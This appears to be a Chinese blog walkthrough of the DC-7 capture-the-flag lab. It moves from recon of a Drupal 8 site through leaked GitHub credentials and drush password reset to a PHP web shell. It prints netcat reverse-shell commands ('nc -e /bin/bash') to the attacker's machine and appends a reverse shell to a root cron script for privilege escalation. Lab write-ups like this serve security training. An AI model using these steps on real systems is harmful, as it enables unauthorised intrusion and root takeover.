DC-7靶场思路详解

老样子,端口扫描,目录扫描,网站指纹

出来端口有80和22端口

目录有个/user/login, 有个登录框

指纹是drupal8

有个登录框,本来要去试一试SQL注入和弱密码爆破,但提示说不用

左下角有个@DC7USER,可能是git泄露 于是去github上查看有没有这玩意

有个config.php配置文件,有个账户密码

于是拿去登录框去试一下,但是失败,前面还有22端口,ssh连接

先查看一下mbox

发现有个定时任务 /opt/scripts/backups.sh

于是去/opt/scripts/上去看看

看到了backups.sh所属root用户 www-data组

再去看看backups.sh的内容(最后一行是后面加的)

有个drush 去查了一下 drush(Drupal Shell)是Drupal的命令行工具

可以改用户密码和添加用户 drush user-passwords admin --passwords=“admin”

改完了密码后再去/user/login去登录,成功进来了

有个add content basic page可以添加内容 可以尝试写入一句话木马

刚开始但是没有php格式 去百度一下,发现drupal8没有php模块 所以还得添加模块

模块下载地址 https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

添加并激活后可以写入一句话木马,并用蚁剑连接

拿到shell后,直接反弹shell到kali上,nc -e /bin/bash ip port

nc -lvvp port

于是创建交互式shell 在提权

这里有个exim4可以去看看能否利用

我用另外一种,结合前面定时任务 backups.sh是属于root的 每隔段时间会执行

于是再往里面加反弹shell命令,这样反弹的shell就有root权限

echo “nc -e /bin/bash kali的ip port” >>backups.sh 这里要用>> 不能用>,>会覆盖内容,>>追加内容

或者在蚁剑中找到backups.sh直接添加

然后再开个终端 开启监听

nc -lvp 6666 等待一会 即可获得root权限

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值